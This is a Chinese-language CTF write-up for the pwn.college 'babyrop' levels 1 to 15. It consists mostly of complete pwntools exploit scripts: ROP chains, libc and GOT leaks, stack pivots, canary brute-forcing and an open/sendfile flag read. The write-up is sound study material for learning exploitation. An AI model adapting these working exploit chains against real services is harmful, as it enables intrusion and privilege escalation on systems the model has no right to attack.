level1.0

这个题目的程序用的是旧版glibc,没法本地测试了。但是这题比较简单,我们只需要覆盖返回地址。

from pwn import *
path=input('path:')
lenth=0x40+8
padding=b'a'*lenth+p64(0x401926)
p=process(path)
p.send(padding)
print(p.recvall().decode('l1'))

非常轻松 主要想测试一下markdown的语法
随便插入个好玩的图片好了
MC图片

level1.1

原理和1.0相同。

level2

lseek函数

off_t lseek(int fd, off_t offset, int whence);

whence参数:

  • SEEK_SET offset即为新的位置
  • SEEK_CUR 目前位置+offset
  • SEEK_END end+offset

因此 两个阶段就是flag的两个部分

STACK
rbp1
ret1
ret2

attention: 不需要填入rbp 因为每次都是从函数开头开始调用的

from pwn import *
path=input("path:")
payload=b'a'*0x88+p64(0x40229E)+p64(0x40234b)
p=process(path)
p.send(payload)
print(p.recvall().decode('l1'))

level3

研究了半天
一开始我是打算跳过每一段函数前面的检测部分,但是这有问题
如果我跳过这些部分,我无法使得rbp放在合适的位置,那么这个函数leave ret的时候,
栈的状态和当前的就大不相同,程序很有可能崩溃。
于是用ROPgadget找了下,找到了一个gadget
gadget_rdi
有了这个就很轻松了,我们构造栈上数据如下

stack
rbp
poprdi
p64(1)
fun1

(类推)

from pwn import *
path=input('path:')
p=process(path)
pop_rdi=p64(0x402203)
payload=(b'a'*0x78+pop_rdi+p64(1)+p64(0x401C53)+pop_rdi+p64(2)+p64(0x401A8D)\
+pop_rdi+p64(3)+p64(0x401D2F)+pop_rdi+p64(4)+p64(0x401B6D)+pop_rdi+p64(5)+p64(0x401E11))
p.send(payload)
print(p.recvall().decode('l1'))

level 4

这题相当于一个一个自由的构造rop链的题
我们几乎拥有所有的pop [register] ret 。
还拥有一个syscall
还拥有栈的地址。
我的想法是运行掉execve(‘/bin/sh\x00’,[‘-p’])
要实现这个 我们需要:

option addr
pop rdi ; ret 0x401fd5
pop rax ; ret 0x401fad
pop rsi ; ret 0x401fcd
pop rdx ; ret 0x401fa5
syscall ; ret 0x401fb5

栈上需要构造如下内容。

name stack
buf: ‘/bin/sh\x00’
[buf+32]
[buf+40]
p64(0)
‘sh\x00’
‘-p\x00’
…. ………….
rbp: trash
ret: pop rdi ; ret
[buf]
pop rsi ; ret
[buf+8]
pop rdx ; ret
p64(0)
pop rax ; ret
syscall ; ret
from pwn import *
path=input('path:')
pop_rdi=p64(0x401fd5)
pop_rax=p64(0x401fad)
pop_rsi=p64(0x401fcd)
pop_rdx=p64(0x401fa5)
syscall=p64(0x401fb5)
p=process(path)
p.recvuntil(b'located at: ')
temp=p.recvline().decode('l1').strip().strip('.')
buf=int(temp,16)
payload=b'/bin/sh\x00'+p64(buf+32)+p64(buf+40)+p64(0)+b'sh'.ljust(8,b'\x00')+b'-p'.ljust(8,b'\x00')+\
b'a'*(0x58-48)+pop_rdi+p64(buf)+pop_rsi+p64(buf+8)+pop_rdx+p64(0)+pop_rax+p64(59)+syscall
p.send(payload)
sleep(1)
p.sendline('cat /flag')
p.interactive()

这题我有个不太理解的点就是,必须要把指令也sendline出去 不能直接interactive 真是奇怪。
attention: 第二关一部分会被重新覆盖 注意跳过那一部分即可 不过有个更
简单的方法 就是把-p改成占四个字节

payload=b'/bin/sh\x00'+p64(buf+32)+p64(buf+40)+p64(0)+b'sh'.ljust(8,b'\x00')+b'-p'.ljust(4,b'\x00')+\
b'a'*(0x38-44)+pop_rdi+p64(buf)+pop_rsi+p64(buf+8)+pop_rdx+p64(0)+pop_rax+p64(59)+syscall

level 5

这一关写完之后 发现上一关为啥不能直接interactive了 因为我用了输入流重定向… 请不要使用这种方式,这甚至会导致你无法使用gdb.debug 和 gdb.attach
这一关没有了栈的地址,但无所谓,我们可以写到bss段里的可写段 ,注意不要把stdin 和stdout覆盖到。(不过事实上是可以覆盖到的,只要没有用到依赖他们的函数)
还有一个要注意的点是argv[0]是文件名。我原来没意识到这点,构造了一个/bin/cat /flag 结果纳闷了半天怎么没输出。
具体就不多说了

from pwn import *
path=('/challenge/babyrop_level5.0')
bss_addr=0x4050A8
syscall=p64(0x402616)
pop_rdi=p64(0x402636)
pop_rsi=p64(0x40262e)
pop_rdx=p64(0x40261e)
pop_rax=p64(0x402607)
payload1=b'a'*0x48+pop_rdi+p64(0)+pop_rsi+p64(bss_addr)+pop_rdx\
+p64(48)+pop_rax+p64(0)+syscall+pop_rdi+p64(bss_addr)+pop_rsi+p64(bss_addr+16)+pop_rdx+p64(0)\
+pop_rax+p64(59)+syscall
payload2=b'/bin/sh\x00'+b'sh'.ljust(4,b'\x00')+b'-p'.ljust(4,b'\x00')+p64(bss_addr+8)+p64(bss_addr+12)+p64(0)
p=process(path)
p.send(payload1)
sleep(3)
p.send(payload2)
p.interactive()

第二关 bss段的几乎不可用 因为一开始就放了个stdout,后面的puts马上又会用到
那就考虑一下能不能覆盖前面的部分,也就是got.plt和data
特意控制不覆盖到puts 因为后面要用
事实证明这是可行的。

level 6

给出了sendfile 和open函数 并且还在同一个函数里面,但是貌似不能直接用。我的想法是在rop链上填plt表地址 先看看能不能行再说
这里对于open的返回值 个人认为可以直接猜测是3
如果不放心 有一个gadget可用
0x0000000000401249 : push rax ; add dil, dil ; loopne 0x4012b5 ; nop ; ret
这个gadget中的loopne在ecx为零的时候是没有作用的
我决定先试一下猜测3能不能成功
结果证明我的猜测是正确的

from pwn import *
path=('/challenge/babyrop_level6.0')
pop_rdi=p64(0x401dbb)
pop_rsi=p64(0x401dc3)
pop_rdx=p64(0x401dab)
pop_rcx=p64(0x401db3)
read=p64(0x401160)
open=p64(0x4011D0)
send_file=p64(0x4011A0)
data_addr=p64(0x405088)
zero=p64(0)
payload1=b'a'*0x38+pop_rdi+zero+pop_rsi+data_addr+pop_rdx+p64(8)+read+pop_rdi\
+data_addr+pop_rsi+zero+open+pop_rdi+p64(1)+pop_rsi+p64(3)+pop_rdx+zero+pop_rcx+p64(100)+send_file
payload2=b'/flag'
p=process(path)
p.send(payload1)
sleep(1)
p.send(payload2)
p.interactive()

level 7

发现无法在本地运行并不是libc版本不同 而是没有安装一个库叫capstone

sudo apt install libcapstone-dev

即可安装
这题其实用one_gadget基本上可以直接过 但是为了练习我决定还是自己构造ROP链
题目没有给我们对应的libc.so.6版本
可以通过ldd指令,找到程序使用的libc的文件地址,然后下载到本地,就可以用了
为了书写方便 尽量少用到libc里面的gadget 原来文件有的多用

addr instruction
0x4022c3 pop rdi;ret
0x4022c1 pop rsi; pop r15;ret
0x119431l pop rdx; pop r12;ret
0x052290l system()

l代表libc中 需要带上base
这题system函数貌似会直接降权,我们需要找其他方案
我决定用之前的open sendfile方案
经过重写之后,新增的gadget如下

addr instruction
0x10df00l open
0x1131C0l sendfile
0x10257dl pop rdx ; pop rcx ; pop rbx ;ret
from pwn import *
path='/challenge/babyrop_level7.0'
pop_rdi = p64(0x4022c3)
pop_rsip = p64(0x4022c1)
pop_rdx_pop_rcxpl=0x10257d
systeml=0x052290
sendfilel=0x1131C0
openl=0x10df00
data_addr=p64(0x405080)
read=p64(0x401150)
trash=p64(114514)


p=process(path)
p.recvuntil(b'in libc is:')
temp=p.recvline().decode('l1').strip().strip('.')
system=int(temp,16)
base=system-systeml

pop_rdx_pop_rcxp=p64(pop_rdx_pop_rcxpl+base)
sendfile=p64(sendfilel+base)
open=p64(openl+base)

payload1=b'a'*0x88+pop_rdi+p64(0)+pop_rsip+data_addr+trash+pop_rdx_pop_rcxp+p64(16)+trash*2+read+pop_rdi+data_addr+pop_rsip+p64(0)*2\
+open+pop_rdi+p64(1)+pop_rsip+p64(3)+p64(0)+pop_rdx_pop_rcxp+p64(0)+p64(100)+trash+sendfile
payload2=b'/flag'
p.send(payload1)
sleep(1)
p.send(payload2)
p.interactive()

level 8

got表里面的在函数调用过一次之后会存储实际的地址。
并且我们可以控制rdi。这样就可以获得libc里面的值 再调用level7相同的脚本即可
gadget:

address insturction
0x401fd3 pop rdi ;ret
0x401fd1 pop rsi ; pop r15 ;ret
0x10257dl pop rdx ; pop rcx ; pop rbx ;ret
0x401140 read
0x401110 puts(in plt)
0x401D29 challenge
0x084420l puts(in libc)
0x1131c0l sendfile
0x10df00l open

puts在got表中地址是0x404028 data地址是0x404078
泄露之后重新运行main再次运行
其他和level7一致

from pwn import *
path='/challenge/babyrop_level8.0'
pop_rdi = p64(0x401fd3)
pop_rsip = p64(0x401fd1)
pop_rdx_pop_rcxpl=0x10257d
putsg=p64(0x404028)
putsp=p64(0x401110)
putsl=0x084420
sendfilel=0x1131C0
openl=0x10df00
data_addr=p64(0x404078)
read=p64(0x401140)
trash=p64(114514)
challenge=p64(0x401D29)

p=process(path)
payload1=b'a'*0x28+pop_rdi+putsg+putsp+challenge
p.send(payload1)
p.recvuntil(b'Leaving!\n')
puts=p.recvline()[:-1]
base=int.frombytes(puts,'little')-putsl
pop_rdx_pop_rcxp=p64(pop_rdx_pop_rcxpl+base)
sendfile=p64(sendfilel+base)
open=p64(openl+base)

payload2=b'a'*0x28+pop_rdi+p64(0)+pop_rsip+data_addr+trash+pop_rdx_pop_rcxp+p64(16)+trash*2+read+pop_rdi+data_addr+pop_rsip+p64(0)*2\
+open+pop_rdi+p64(1)+pop_rsip+p64(3)+p64(0)+pop_rdx_pop_rcxp+p64(0)+p64(100)+trash+sendfile
payload3=b'/flag'
p.send(payload2)
sleep(1)
p.send(payload3)
p.interactive()

level 9

栈迁移,题目允许我们在retaddr开始写入3个64位数
考虑覆盖第一个返回地址为 pop rbp ret(从leave return),随后接上bss段。然后再leave return
事实上 rbp的位置并不是非常重要 从我们的ROP链来看 我们用到的要么是直接call一个函数 要么是 pop ret,这两个其实都不会破坏栈的状态。
因此如果有pop rsp也不是不行 比如 0x00000000004014b4 : pop rsp ; pop r13 ; pop rbp ; ret
但这题给了三个 就不管了
这时候还需要考虑到第二次return challenge的时候栈空间的问题,一个方便的做法就是第二次的时候前三个覆盖和return adress后面相同的内容,其他的就不管,因为第二次我们压根不需要栈迁移。
这一题还有个有意思的事情就是栈对齐
如果栈没有16字节对齐 会导致segmentation fault
利用gdb会发现 在printf里面的代码中 用到了xmm寄存器。
今后构造的时候也是 最好控制栈对齐。

from pwn import *
path='/challenge/babyrop_level9.0'
pop_rdi = p64(0x402453)
pop_rsip = p64(0x402451)
pop_rbp=p64(0x40129d)
leave_ret=p64(0x402336)
pop_rdx_pop_rcxpl=0x10257d
putsg=p64(0x405028)
putsp=p64(0x401120)
putsl=0x084420
sendfilel=0x1131C0
openl=0x10df00
data_addr=p64(0x4150C0)
buf=0x4150E0
read=p64(0x401150)
trash=p64(114514)
challenge=p64(0x402155)

p=process(path,'break challenge')
payload1=pop_rbp+p64(buf+3*8)+leave_ret+trash+pop_rdi+putsg+putsp+p64(0x402337)+challenge
p.send(payload1)
p.recvuntil(b'Leaving!\n')
puts=p.recvline()[:-1]
base=int.from_bytes(puts,'little')-putsl
pop_rdx_pop_rcxp=p64(pop_rdx_pop_rcxpl+base)
sendfile=p64(sendfilel+base)
open=p64(openl+base)

payload2=(pop_rdi+p64(0)+pop_rsip).ljust(len(payload1),b'b')+pop_rdi+p64(0)+pop_rsip+data_addr+trash+pop_rdx_pop_rcxp+p64(16)+trash*2+read+pop_rdi+data_addr+pop_rsip+p64(0)*2\
+open+pop_rdi+p64(1)+pop_rsip+p64(3)+p64(0)+pop_rdx_pop_rcxp+p64(0)+p64(100)+trash+sendfile
payload3=b'/flag'
p.send(payload2)
sleep(1)
p.send(payload3)
p.interactive()

level 10

栈迁移 修改了返回地址之后,main函数的栈就会跑到覆盖之后的位置,那么之后main再leave就会被我们利用
因此,题目泄露给我们buf的地址,我们要填入的就是buf-16,这样第一次leave return ,rbp就变成了buf-16 然后再leave return就返回到buf-8指向的函数。
这时候要注意 如果返回到puts 会导致程序segmentation fault 因为返回之后 rsp在rbp下方,这就会导致puts覆盖了我们构造的栈帧。
因此我们还需要跳过puts函数,只要覆盖一个字节即可,因为两者的地址相差很小。

from pwn import *
path='./level10.0'
p=process(path)
p.recvuntil(b'is located at: ')
buf=int(p.recvline().decode('l1').strip().strip('.'),16)
payload=b'a'*0x48+p64(buf-16)+b'\xA7'
p.send(payload)
sleep(1)
p.interactive()

第二关非常有意思,如果你不仔细看的话,每次都会出现这个报错
babyrop_level10.1: :42: challenge: Assertion `mprotect(data.win_addr, 0x138, PROT_READ|PROT_EXEC) == 0’ failed.
再一看代码,会发现覆盖一个字节是不够的
奇妙的地址
可以看到地址整好卡0x100边界处 所以进位了。
因此用覆盖两个字节的方法即可解决

level 11

区别在哪 😓

level 12

目前没想到什么很好的策略 打算是直接和额前面差不多 爆破出libc中leave return地址
先用gdb打开查一下加载的基地址
找出一个可能的leave ret的地址之后 就一直用这个爆破
我试出来一个0x3fd8c8
其他的事实上和前面的差不多
注意:爆破的时候一定要加上break!!!不然你就会一直纳闷自己哪里错了

level 13

先泄露canary 然后覆盖返回地址重新掉调用一遍challenge,再泄露libc基地址。然后就可以随便构造了

from pwn import *
pop_rdil=0x23b6a
pop_rsipl=0x23b68
pop_rdx_pop_rcxpl=0x10257d
sendfilel=0x1131C0
openl=0x10df00
trash=p64(114514)

path='/challenge/babyrop_level13.0'
p=process(path)
p.recvuntil(b'is located at: ')
buf=int(p.recvline().decode('l1').strip().strip('.'),16)
canary=buf+0x38
p.sendline(hex(canary))
p.recvuntil(b'[LEAK] *')
canary=int(p.recvline().decode('l1').split('=')[-1],16)
payload=b'a'*0x38+p64(canary)+p64(114514)+b'\x69'
p.send(payload)
p.sendline(hex(buf+0x48))
p.recvuntil(b'[LEAK] *')
temp=int(p.recvline().decode('l1').split('=')[-1],16)
base=temp-0x24083

pop_rdi=p64(pop_rdil+base)
pop_rsip=p64(pop_rsipl+base)
pop_rdx_pop_rcxp=p64(pop_rdx_pop_rcxpl+base)
sendfile=p64(sendfilel+base)
open=p64(openl+base)

payload=b'/flag\x00'.ljust(0x38,b'a')+p64(canary)+trash+pop_rdi+p64(buf)+pop_rsip+p64(0)*2\
+open+pop_rdi+p64(1)+pop_rsip+p64(3)+p64(0)+pop_rdx_pop_rcxp+p64(0)+p64(100)+trash+sendfile
p.send(payload)
p.interactive()

level 14

基本思路:
用爆破来确定代码段和canary 只需要检查返回中是否有 b’Goodbye’ 即可
这最坏也只需要16*256次就能解决。

from pwn import *
temp=b''
for x in range(16):
if x==8:
temp+=p64(114514)
for c in range(256):
if x==8:
c=0xC8
c=chr(c).encode('l1')
payload=b'a'*0x58+temp+c
p=remote('localhost',1337)
p.send(payload)
a=p.recvall(timeout=5)
if b'Goodbye' in a:
temp+=c
print(temp)
break
# 获取基地址
print(temp)
canary=temp[:8]
text_base=int.from_bytes(temp[16:],'little')-0x1EC8
putsp=p64(text_base+0x11D0)
putsg=p64(text_base+0x3F30)
data_addr=p64(text_base+0x4000)
pop_rdi=p64(text_base+0x001f53)
leave_ret=p64(text_base+0x1836)
trash=p64(114514)
payload1=b'a'*0x58+canary+trash+pop_rdi+putsg+putsp
p=remote('localhost',1337)
p.send(payload1)
p.recvuntil(b'Leaving!\n')
libc_base_putsl=int.from_bytes(p.recvline()[:-1],'little')

# 构造ROP链
# leave_retl=0x578c8
# pop_rdil=0x23b6a
pop_rsipl=0x23b68
pop_rdx_pop_rcxpl=0x10257d
sendfilel=0x1131C0
openl=0x10df00
readl=0x10e1e0
putsl=0x084420
libc_base=libc_base_putsl-putsl
pop_rsip=p64(pop_rsipl+libc_base)
pop_rdx_pop_rcxp=p64(pop_rdx_pop_rcxpl+libc_base)
sendfile=p64(sendfilel+libc_base)
open=p64(openl+libc_base)
read=p64(readl+libc_base)
p=remote('localhost',1337)
payload2=b'a'*0x58+canary+trash+pop_rdi+p64(0)+pop_rsip+data_addr+trash+pop_rdx_pop_rcxp+p64(16)+trash*2+read+pop_rdi+data_addr+pop_rsip+p64(0)*2\
+open+pop_rdi+p64(1)+pop_rsip+p64(3)+p64(0)+pop_rdx_pop_rcxp+p64(0)+p64(100)+trash+sendfile
payload3=b'/flag'
p.send(payload2)
sleep(1)
p.send(payload3)
p.interactive()

** 有很小的概率libc会随机到\x0a和\x00自己 这时候重启一下再运行就行了

level 15

这题爆破libc地址其实不难 我们控制函数重新返回到main然后recv检测是否eof即可
难点在于我们的ropchain很难利用到/flag这个字符串
同时onegadget和ropchain生成的binsh利用方式都被禁止了(没有-p)
那应该怎么办呢,我们可以把/flag软链接到一个libc里面有的字符串的名字 再通过软连接修改/flag的权限
在检测是否eof的时候,会有个问题就是没有eof会被漏掉 然后他的进程又存在 这样整个连接就会卡住 ,因为没有给他输入。
解决方法是手动kill
还有个方法是用pwntools获取pid然后kill 但是我懒得搞

from pwn import *
context.arch='amd64'
temp=b''
for x in range(8):
for c in range(256):
c=chr(c).encode('l1')
payload=b'a'*0x18+temp+c
p=remote('localhost',1337)
p.send(payload)
a=p.recvall(timeout=2)
if not(b'detected' in a):
temp+=c
print(temp)
break
temp+=p64(114514)
temp+=b'\x69'
for x in range(7):
for c in range(0,256):
c=chr(c).encode('l1')
p=remote('localhost',1337)
payload=b'a'*0x18+temp+c
p.send(payload)
p.recvuntil(b'### Goodbye!\n')
text=b'?'
try:
text=p.recv(3)
except EOFError:
continue
if not(b'###' in text):
continue
temp+=c
print(temp)
break
# 获取基地址
# 获取基地址
print(temp)
canary=temp[:8]
# text_base=int.from_bytes(temp[16:],'little')-0x1776
# putsp=p64(text_base+0x1150)
# putsg=p64(text_base+0x3F60)
# data_addr=p64(text_base+0x4000)
# pop_rdi=p64(text_base+0x1803)
# leave_ret=p64(text_base+0x15ab)
# # trash=p64(114514)
# # payload1=b'a'*0x88+canary+trash+pop_rdi+putsg+putsp
# # p=remote('localhost',1337)
# # p.send(payload1)
# # p.recvuntil(b'Leaving!\n')
# libc_base_putsl=int.from_bytes(p.recvline()[:-1],'little')

# chmod
libc_base=int.from_bytes(temp[16:],'little')-0x24069
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address=libc_base
print(hex(libc_base))
pause()
rop = ROP(libc)
pop_rdi_ret=p64(rop.rdi.address)
pop_rsi_ret=p64(rop.rsi.address)
filename=p64(next(libc.search(b"GNU")))
mode=0o4
chmod=p64(libc.symbols["chmod"])
payload=b'a'*0x18+canary+p64(114514)+pop_rdi_ret+filename+pop_rsi_ret+p64(mode)+chmod
p=remote('localhost',1337)
p.send(payload)

有时候一次不成功 就多试几次 2333